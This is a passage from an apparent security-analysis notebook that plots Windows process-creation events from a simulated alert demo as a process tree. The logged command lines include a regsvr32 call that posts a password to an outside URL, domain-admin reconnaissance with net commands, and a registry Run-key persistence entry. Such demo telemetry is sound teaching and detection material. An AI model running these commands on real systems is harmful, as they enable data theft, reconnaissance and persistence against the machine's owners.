       "  SubjectDomainName SubjectLogonId NewProcessId  \\\n",
       "0   MSTICAlertsWin1       0x78225e       0x1150   \n",
       "1   MSTICAlertsWin1       0x78225e        0x6dc   \n",
       "2   MSTICAlertsWin1       0x78225e       0x114c   \n",
       "3   MSTICAlertsWin1       0x78225e        0xfa4   \n",
       "4   MSTICAlertsWin1       0x78225e       0x1164   \n",
       "\n",
       "                     NewProcessName TokenElevationType ProcessId  \\\n",
       "0  C:\\W!ndows\\System32\\regsvr32.exe             %%1936    0x12f4   \n",
       "1   C:\\Windows\\System32\\conhost.exe             %%1936    0x12f4   \n",
       "2       C:\\Windows\\System32\\cmd.exe             %%1936    0x12f4   \n",
       "3       C:\\Windows\\System32\\cmd.exe             %%1936    0x12f4   \n",
       "4       C:\\Windows\\System32\\cmd.exe             %%1936    0x12f4   \n",
       "\n",
       "                                                                                    CommandLine  \\\n",
       "0  .\\regsvr32  /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post   \n",
       "1                                       \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1   \n",
       "2                                                        cmd  /c echo Begin Security Demo tasks   \n",
       "3        cmd  /c echo Any questions about the commands executed here then please contact one of   \n",
       "4                 cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com   \n",
       "\n",
       "             ParentProcessName TargetLogonId  \\\n",
       "0  C:\\Windows\\System32\\cmd.exe           0x0   \n",
       "1  C:\\Windows\\System32\\cmd.exe           0x0   \n",
       "2  C:\\Windows\\System32\\cmd.exe           0x0   \n",
       "3  C:\\Windows\\System32\\cmd.exe           0x0   \n",
       "4  C:\\Windows\\System32\\cmd.exe           0x0   \n",
       "\n",
       "                       SourceComputerId          TimeCreatedUtc NodeRole  \\\n",
       "0  263a788b-6526-4cdc-8ed9-d79402fe4aa0 2019-02-14 11:51:38.507   source   \n",
       "1  263a788b-6526-4cdc-8ed9-d79402fe4aa0 2019-02-14 11:51:37.697  sibling   \n",
       "2  263a788b-6526-4cdc-8ed9-d79402fe4aa0 2019-02-14 11:51:38.117  sibling   \n",
       "3  263a788b-6526-4cdc-8ed9-d79402fe4aa0 2019-02-14 11:51:38.137  sibling   \n",
       "4  263a788b-6526-4cdc-8ed9-d79402fe4aa0 2019-02-14 11:51:38.153  sibling   \n",
       "\n",
       "   Level ProcessId1 NewProcessId1  \n",
       "0      0                           \n",
       "1      1                           \n",
       "2      1                           \n",
       "3      1                           \n",
       "4      1                           "
      ]
     },
     "execution_count": 25,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Before plotting a process tree we need to get data related to process creation events\n",
    "proc_df = qry_prov.WindowsSecurity.get_process_tree()\n",
    "proc_df.head()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "The process tree visualization can be called on a DataFrame using a Pandas accessor `mp_plot.process_tree()`"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 26,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1236\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  const force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  const JS_MIME_TYPE = 'application/javascript';\n  const HTML_MIME_TYPE = 'text/html';\n  const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  const CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    const script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    const cell = handle.cell;\n\n    const id = cell.output_area._bokeh_element_id;\n    const server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd_clean, {\n        iopub: {\n          output: function(msg) {\n            const id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd_destroy);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    const output_area = handle.output_area;\n    const output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n      return\n    }\n\n    const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      const bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      const script_attrs = bk_div.children[0].attributes;\n      for (let i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      const toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    const events = require('base/js/events');\n    const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  const NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    const el = document.getElementById(\"1236\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error(url) {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (let i = 0; i < css_urls.length; i++) {\n      const url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    for (let i = 0; i < js_urls.length; i++) {\n      const url = js_urls[i];\n      const element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.async = false;\n      element.src = url;\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n  const css_urls = [];\n  \n\n  const inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (let i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      const cell = $(document.getElementById(\"1236\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"6510ab2b-8bd2-4711-aa1c-3318f256220e\" data-root-id=\"1346\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  const docs_json = {\"2b6a67d1-db83-432a-974f-a1962e454dcb\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1238\"},{\"id\":\"1303\"}]},\"id\":\"1346\",\"type\":\"Row\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1356\"},\"group\":null,\"major_label_policy\":{\"id\":\"1357\"},\"ticker\":{\"id\":\"1317\"},\"visible\":false},\"id\":\"1316\",\"type\":\"LinearAxis\"},{\"attributes\":{\"range\":null,\"value\":-0.5},\"id\":\"1334\",\"type\":\"Dodge\"},{\"attributes\":{},\"id\":\"1245\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"1310\",\"type\":\"LinearScale\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"ProcessTree\"},\"id\":\"1239\",\"type\":\"Title\"},{\"attributes\":{\"source\":{\"id\":\"1237\"}},\"id\":\"1298\",\"type\":\"CDSView\"},{\"attributes\":{\"end\":6,\"start\":1},\"id\":\"1241\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"1359\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"below\":[{\"id\":\"1312\"}],\"center\":[{\"id\":\"1315\"},{\"id\":\"1319\"}],\"height\":700,\"left\":[{\"id\":\"1316\"}],\"renderers\":[{\"id\":\"1339\"}],\"title\":{\"id\":\"1348\"},\"toolbar\":{\"id\":\"1327\"},\"toolbar_location\":null,\"width\":90,\"x_range\":{\"id\":\"1304\"},\"x_scale\":{\"id\":\"1308\"},\"y_range\":{\"id\":\"1306\"},\"y_scale\":{\"id\":\"1310\"}},\"id\":\"1303\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"1308\",\"type\":\"LinearScale\"},{\"attributes\":{\"end\":19,\"start\":-1},\"id\":\"1306\",\"type\":\"Range1d\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"renderers\":[{\"id\":\"1273\"}],\"tooltips\":[[\"Process\",\"@NewProcessName\"],[\"PID\",\"@NewProcessId\"],[\"CmdLine\",\"@CommandLine\"],[\"SubjUser\",\"@SubjectUserName\"],[\"SubjLgnId\",\"@SubjectLogonId\"],[\"TgtLgnId\",\"@TargetLogonId\"],[\"Time\",\"@TimeGenerated{%F %T.%3N}\"]]},\"id\":\"1266\",\"type\":\"HoverTool\"},{\"attributes\":{\"axis_line_color\":null,\"coordinates\":null,\"formatter\":{\"id\":\"1353\"},\"group\":null,\"major_label_policy\":{\"id\":\"1354\"},\"major_label_standoff\":0,\"major_tick_line_color\":\"navy\",\"ticker\":{\"id\":\"1299\"},\"visible\":false},\"id\":\"1249\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"1357\",\"type\":\"AllLabels\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1237\"},\"glyph\":{\"id\":\"1294\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1296\"},\"nonselection_glyph\":{\"id\":\"1295\"},\"view\":{\"id\":\"1298\"}},\"id\":\"1297\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"1360\",\"type\":\"AllLabels\"},{\"attributes\":{\"axis_line_color\":null,\"coordinates\":null,\"formatter\":{\"id\":\"1351\"},\"group\":null,\"major_label_policy\":{\"id\":\"1352\"},\"major_label_standoff\":0,\"major_tick_line_color\":\"navy\",\"ticker\":{\"id\":\"1254\"},\"visible\":false},\"id\":\"1253\",\"type\":\"LinearAxis\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1237\"},\"glyph\":{\"id\":\"1286\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1288\"},\"nonselection_glyph\":{\"id\":\"1287\"},\"view\":{\"id\":\"1290\"}},\"id\":\"1289\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"1320\",\"type\":\"PanTool\"},{\"attributes\":{\"ticks\":[1,2,3]},\"id\":\"1301\",\"type\":\"FixedTicker\"},{\"attributes\":{\"below\":[{\"id\":\"1249\"}],\"center\":[{\"id\":\"1252\"},{\"id\":\"1256\"}],\"height\":700,\"left\":[{\"id\":\"1253\"}],\"outline_line_color\":null,\"renderers\":[{\"id\":\"1273\"},{\"id\":\"1281\"},{\"id\":\"1289\"},{\"id\":\"1297\"}],\"title\":{\"id\":\"1239\"},\"toolbar\":{\"id\":\"1261\"},\"toolbar_location\":\"above\",\"width\":900,\"x_range\":{\"id\":\"1241\"},\"x_scale\":{\"id\":\"1245\"},\"y_range\":{\"id\":\"1243\"},\"y_scale\":{\"id\":\"1247\"}},\"id\":\"1238\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"range\":{\"id\":\"1243\"},\"value\":0.25},\"id\":\"1292\",\"type\":\"Dodge\"},{\"attributes\":{},\"id\":\"1254\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"1304\",\"type\":\"DataRange1d\"},{\"attributes\":{\"text\":{\"field\":\"__proc_id$$\"},\"text_alpha\":{\"value\":0.2},\"text_baseline\":{\"value\":\"middle\"},\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1291\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"1292\"}}},\"id\":\"1296\",\"type\":\"Text\"},{\"attributes\":{\"overlay\":{\"id\":\"1326\"}},\"id\":\"1322\",\"type\":\"BoxZoomTool\"},{\"attributes\":{},\"id\":\"1313\",\"type\":\"BasicTicker\"},{\"attributes\":{\"axis\":{\"id\":\"1316\"},\"coordinates\":null,\"dimension\":1,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"1319\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"1317\",\"type\":\"BasicTicker\"},{\"attributes\":{\"end\":19,\"start\":-2},\"id\":\"1243\",\"type\":\"Range1d\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1359\"},\"group\":null,\"major_label_policy\":{\"id\":\"1360\"},\"ticker\":{\"id\":\"1313\"},\"visible\":false},\"id\":\"1312\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"1247\",\"type\":\"LinearScale\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.6},\"fill_color\":{\"value\":\"navy\"},\"height\":{\"value\":0.8},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"value\":1.2},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1334\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"1336\",\"type\":\"Rect\"},{\"attributes\":{\"text\":{\"field\":\"__proc_id$$\"},\"text_baseline\":{\"value\":\"middle\"},\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1291\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"1292\"}}},\"id\":\"1294\",\"type\":\"Text\"},{\"attributes\":{\"range\":{\"id\":\"1241\"},\"value\":1.75},\"id\":\"1268\",\"type\":\"Dodge\"},{\"attributes\":{\"axis\":{\"id\":\"1249\"},\"coordinates\":null,\"grid_line_alpha\":0.1,\"grid_line_color\":\"navy\",\"group\":null,\"minor_grid_line_alpha\":0.1,\"minor_grid_line_color\":\"navy\",\"ticker\":{\"id\":\"1301\"}},\"id\":\"1252\",\"type\":\"Grid\"},{\"attributes\":{\"ticks\":[1,2,3]},\"id\":\"1299\",\"type\":\"FixedTicker\"},{\"attributes\":{},\"id\":\"1361\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"axis\":{\"id\":\"1312\"},\"coordinates\":null,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"1315\",\"type\":\"Grid\"},{\"attributes\":{\"axis\":{\"id\":\"1253\"},\"coordinates\":null,\"dimension\":1,\"grid_line_color\":\"navy\",\"group\":null,\"ticker\":null,\"visible\":false},\"id\":\"1256\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"1321\",\"type\":\"WheelZoomTool\"},{\"attributes\":{},\"id\":\"1362\",\"type\":\"Selection\"},{\"attributes\":{\"text\":{\"field\":\"__proc_id$$\"},\"text_alpha\":{\"value\":0.1},\"text_baseline\":{\"value\":\"middle\"},\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1291\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"1292\"}}},\"id\":\"1295\",\"type\":\"Text\"},{\"attributes\":{\"text\":{\"field\":\"__proc_name$$\"},\"text_alpha\":{\"value\":0.2},\"text_baseline\":{\"value\":\"middle\"},\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1283\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"1284\"}}},\"id\":\"1288\",\"type\":\"Text\"},{\"attributes\":{\"active_multi\":{\"id\":\"1341\"},\"tools\":[{\"id\":\"1320\"},{\"id\":\"1321\"},{\"id\":\"1322\"},{\"id\":\"1323\"},{\"id\":\"1324\"},{\"id\":\"1325\"},{\"id\":\"1341\"}]},\"id\":\"1327\",\"type\":\"Toolbar\"},{\"attributes\":{\"coordinates\":null,\"group\":null},\"id\":\"1348\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"1353\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"text\":{\"field\":\"__cmd_line$$\"},\"text_alpha\":{\"value\":0.2},\"text_baseline\":{\"value\":\"middle\"},\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"7pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1275\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"1276\"}}},\"id\":\"1280\",\"type\":\"Text\"},{\"attributes\":{},\"id\":\"1354\",\"type\":\"AllLabels\"},{\"attributes\":{\"range\":{\"id\":\"1241\"},\"value\":2.2},\"id\":\"1291\",\"type\":\"Dodge\"},{\"attributes\":{},\"id\":\"1325\",\"type\":\"HelpTool\"},{\"attributes\":{\"active_scroll\":{\"id\":\"1260\"},\"tools\":[{\"id\":\"1257\"},{\"id\":\"1258\"},{\"id\":\"1259\"},{\"id\":\"1260\"},{\"id\":\"1266\"}]},\"id\":\"1261\",\"type\":\"Toolbar\"},{\"attributes\":{\"text\":{\"field\":\"__cmd_line$$\"},\"text_baseline\":{\"value\":\"middle\"},\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"7pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1275\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"1276\"}}},\"id\":\"1278\",\"type\":\"Text\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.2},\"height\":{\"value\":0.8},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"value\":1.2},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1334\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"1338\",\"type\":\"Rect\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.1},\"height\":{\"value\":0.95},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"value\":3.5},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1268\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"1271\",\"type\":\"Rect\"},{\"attributes\":{\"range\":{\"id\":\"1241\"},\"value\":0.1},\"id\":\"1275\",\"type\":\"Dodge\"},{\"attributes\":{\"range\":{\"id\":\"1243\"},\"value\":0.25},\"id\":\"1284\",\"type\":\"Dodge\"},{\"attributes\":{\"source\":{\"id\":\"1237\"}},\"id\":\"1290\",\"type\":\"CDSView\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1237\"},\"glyph\":{\"id\":\"1278\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1280\"},\"nonselection_glyph\":{\"id\":\"1279\"},\"view\":{\"id\":\"1282\"}},\"id\":\"1281\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"range\":{\"id\":\"1243\"},\"value\":-0.2},\"id\":\"1276\",\"type\":\"Dodge\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.4},\"fill_color\":{\"value\":\"navy\"},\"height\":{\"value\":0.95},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"value\":3.5},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1268\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"1270\",\"type\":\"Rect\"},{\"attributes\":{},\"id\":\"1351\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{},\"id\":\"1324\",\"type\":\"ResetTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.2},\"height\":{\"value\":0.95},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"value\":3.5},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1268\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"1272\",\"type\":\"Rect\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1237\"},\"glyph\":{\"id\":\"1336\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1338\"},\"nonselection_glyph\":{\"id\":\"1337\"},\"view\":{\"id\":\"1340\"}},\"id\":\"1339\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"source\":{\"id\":\"1237\"}},\"id\":\"1274\",\"type\":\"CDSView\"},{\"attributes\":{\"text\":{\"field\":\"__cmd_line$$\"},\"text_alpha\":{\"value\":0.1},\"text_baseline\":{\"value\":\"middle\"},\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"7pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1275\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"1276\"}}},\"id\":\"1279\",\"type\":\"Text\"},{\"attributes\":{\"text\":{\"field\":\"__proc_name$$\"},\"text_alpha\":{\"value\":0.1},\"text_baseline\":{\"value\":\"middle\"},\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1283\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"1284\"}}},\"id\":\"1287\",\"type\":\"Text\"},{\"attributes\":{\"range\":{\"id\":\"1241\"},\"value\":0.1},\"id\":\"1283\",\"type\":\"Dodge\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"1326\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"data\":{\"Account\":[\"NaN\",\"WORKGROUP\\\\MSTICAlertsWin1$\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\"],\"CommandLine\":[\"nan\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 3\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"hostname\",\"netstat  -an\",\"net  user Bob1 /domain\",\"net  user BobX /domain\",\"net  group \\\"Domain Admins\\\" /domain\",\".\\\\reg.exe  add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\"cmd  /c echo End Security Demo tasks\",\"cmd  /c echo Begin Security Demo tasks\",\"cmd  /c echo Any questions about the commands executed here then please contact one of\",\"cmd  /c echo timb@microsoft.com; 